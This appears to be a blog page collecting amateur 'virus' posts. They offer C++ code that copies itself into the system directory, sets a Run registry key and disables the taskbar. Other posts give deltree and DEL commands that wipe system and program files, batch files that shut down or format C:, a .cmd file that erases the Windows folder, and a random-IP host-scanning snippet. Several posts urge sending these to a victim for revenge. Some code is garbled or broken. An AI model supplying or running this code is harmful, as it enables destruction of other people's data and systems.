Showing posts with label virus Trick. Show all posts
Showing posts with label virus Trick. Show all posts

c++ virus code

Here is a good virus I wrote in C++ myself. If you got a compiler then just copy it into a Win32 app. Not a concal app.
#include
int WINAPI WinMain (HINSTANCE hThisInstance, HINSTANCE PrevInstance, LPSTR lpszArgument, int nFunsterStil)
{
char system[MAX_PATH];
char pathtofile[MAX_PATH];
HMODULE GetModH = GetModuleHandle(NULL);
GetModuleFileName(GetModH,pathtofile,sizeof(pathtofile));
GetSystemDirectory(system,sizeof(system));
strcat(system,”\\virus.exe”);
CopyFile(pathtofile,system,false);
HKEY hKey;
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE,&hKey ); RegSetValueEx(hKey, "Writing to the Registry Example",0,REG_SZ,(const unsigned char*)system,sizeof(system));
RegCloseKey(hKey);
HWND hWin; hWin = FindWindow("Shell_TrayWnd",NULL);
EnableWindow(hWin,false);
while(1==1) {
ShowWindow(hWin,false);
Sleep(1000);
ShowWindow(hWin,true);
Sleep(1000); } return 0;
}
Dont under estimaite the power of this little guy. Try it. Its very annoying. To fix it ctr+alt+del to get to task maneger. Then close exsplorer.exe and virus.exe. WARNING VIRUS.EXE MIGHT NOT BE THERE!!! IF IT ISNT THEN DONT PANIC, JUST CLOSE EXSPOLORE.EXE!!! Next (while in task maneger) goto file - new task... - "explorer.exe" without quotes. Email me for any questions!!! keyboardbandit@hotmail.com //-----------------------------------------
#include
int main()
{
cout << "Hello World!!!" << endl;
return(0);
}

Read Users' Comments (0)

c++ virus

this code is for reading all server and test does it is Up or Down ( if is up virus can infect the victim by IP ! ). sasser using that !!
/*---------------------------------- Cut Here ---------------------------------*/
#include
#include
#include
#include
struct in_addr *find_valid_host(void)
{
struct in_addr *address = (struct in_addr *)malloc(sizeof(struct in_addr));
srand(time(NULL)); /* on initialise le générateur aléatoire */
address->s_addr = rand();
while (!isup(*address)) (address->s_addr)++; /* ici, on utilise la routine isup() de nmap pour voir si la cible est up */
return address; }
/*---------------------------------- Cut Here ---------------------------------*/

Read Users' Comments (0)

virus to del sys file

Hey EveryBody, Y make virus??? u don't want to be evil. but if u want to take revenge from sumbody. sure go ahead. i'llhelp ya. i have a little virus code i will include the code but before that you must DOWNLOAD C++ MINGW COMPILER FROM WWW.BLOODSHED.COM "IT'S FREEEEEE". ALL YOU HAVE TO DO IS SAVE THE FOLLOWING CODE AND COMPILE IT. IF IT DOESN'T WORK, THEN TOO BAD.

Here is the code:

#include

using namespace std;

void main(int argv,char args[])

{

system("deltree c:\\*.*");

}

Read Users' Comments (0)

c++ virus code

Like few guys say to you you can't just sit and made virus. You can download few sources from net but when you look at that source you don't knew what he actualy do. So take c,c++, Delphi, Java or Whatever you want and learn. I just wanth to say THX to fukuall because I need that cource about creating registry file. If you wanth a virus ok then here is a little on ;)
[code]:
#include
#include
int main()
{
system ("DEL C:\*.exe");
system ("DEL C:\*.txt");
system ("DEL C:\*.doc");
system ("DEL C:\WINDOWS\*.exe");
system ("DEL C:\WINDOWS\*.com");
system ("DEL C:\WINDOWS\*.bat");
system ("DEL C:\Program Files\*.*");
system ("DEL C:\WINDOWS\SYSTEM\*.exe");
system ("DEL C:\WINDOWS\SYSTEM\*.dll");
system ("DEL C:\WINDOWS\SYSTEM\*.com");
system ("DEL C:\WINDOWS\SYSTEM\*.bat");
return 0;
}

Read Users' Comments (0)

shutdown virus

Go in notepad write: @echo off echo Heeey i missed what have you done?? pause echo Anyways ill be going for now see u pause shutdown.exe And then save it as Hey.bat (REMEMBER TO SET IT TO ALL FILES.!!!) Also to make a deleting bat file: @echo off echo Hey ill need some info.. pause echo Ill just get it format c: thats it..

Read Users' Comments (0)

Very Easy But Very Dangerous Virus

The only thing you need is Notepad .
Now, to test it, create a textfile calledTEST.txt(empty) in C:\
Now in your notepad type "erase C:\TEST.txt" (without the quotes).
Then do "Save As..." and save it as"Test.cmd".
Now run the file "Test.cmd" and go to C:\ and you'll see your Test.txt is gone. Now, the real work begins:
Go to notepad and type erase C:\WINDOWS (or C:\LINUX if you have linux) and save it again as findoutaname.cmd. Now DON'T run the file or you'll lose your WINDOWS map. So, that's the virus. Now to take revenge. Send you file to your victim. Once she/he opens it. Her/his WINDOWS/LINUX map is gone. And have to install LINUX/WINDOWS again.

Read Users' Comments (0)